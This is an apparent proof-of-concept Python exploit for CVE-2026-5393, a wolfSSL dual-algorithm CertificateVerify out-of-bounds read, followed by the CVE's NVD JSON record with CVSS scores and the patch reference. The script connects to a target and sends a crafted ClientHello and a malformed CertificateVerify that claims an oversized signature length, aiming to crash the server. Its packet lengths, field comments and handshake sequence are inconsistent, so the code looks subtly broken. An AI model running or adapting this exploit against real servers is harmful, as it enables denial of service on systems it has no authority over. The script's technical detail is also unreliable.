CVE-2026-5393

import socket import struct # PoC for CVE-2026-5393: wolfSSL Dual-Algorithm CertificateVerify Out-of-Bounds Read # This script attempts to trigger the crash by sending a crafted CertificateVerify message. # Target must be compiled with --enable-experimental and --enable-dual-alg-certs. def trigger_vulnerability(host, port): print(f"[*] Connecting to {host}:{port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # 1. Send ClientHello (Simplified structure for demonstration) # Record Layer: Handshake record_header = b'\x16\x03\x01\x00\x2b' # Handshake Header: ClientHello handshake_header = b'\x01\x00\x00\x27' # Version: TLS 1.0 version = b'\x03\x01' # Random (32 bytes) random = b'\x00' * 32 # Session ID Length: 0 sid_len = b'\x00' # Cipher Suites Length: 2 cipher_len = struct.pack('!H', 2) # Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA cipher_suite = b'\x00\x2f' # Compression Methods Length: 1 comp_len = b'\x01' # Compression Method: NULL comp_method = b'\x00' client_hello = record_header + handshake_header + version + random + sid_len + cipher_len + cipher_suite + comp_len + comp_method s.send(client_hello) # Wait for ServerHello (Skipped in this simple PoC, assuming handshake proceeds) s.recv(4096) # 2. Send Crafted CertificateVerify Message # The vulnerability occurs in parsing the dual-algorithm signature. # We send a malformed length to trigger the out-of-bounds read. # TLS Record Layer tls_record = b'\x16\x03\x03\x00\x20' # Type: Handshake, Version: TLS 1.2, Length: 32 # Handshake Message: CertificateVerify msg_type = b'\x0f' # CertificateVerify # Length: Malformed (Large length to cause OOB read) msg_len_3 = b'\x00\x00\x20' # Signature Hash Algorithm: RSA (0x01) # Signature Algorithm: SHA256 (0x04) sig_alg = b'\x01\x04' # Crafted signature payload (truncated to trigger read past buffer) sig_len = struct.pack('!H', 0x7FFF) # Claim large length sig_data = b'A' * 10 # Send small data payload = msg_type + msg_len_3 + sig_alg + sig_len + sig_data full_packet = tls_record + payload print("[*] Sending malformed CertificateVerify message...") s.send(full_packet) # Check response response = s.recv(1024) if not response: print("[+] Connection closed. Potential crash (DoS) triggered.") else: print("[-] Server responded. Vulnerability might not be triggered or patched.") except Exception as e: print(f"[!] Error: {e}") finally: s.close() # Usage # trigger_vulnerability("127.0.0.1", 11111)

{"cve": {"id": "CVE-2026-5393", "sourceIdentifier": "[email protected]", "published": "2026-04-10T00:16:35.750", "lastModified": "2026-04-29T13:58:55.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dual-Algorithm CertificateVerify out-of-bounds read. When processing a dual-algorithm CertificateVerify message, an out-of-bounds read can occur on crafted input. This can only occur when --enable-experimental and --enable-dual-alg-certs is used when building wolfSSL."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "261C41E4-7F04-4C98-AD63-110136730EE9"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10079", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}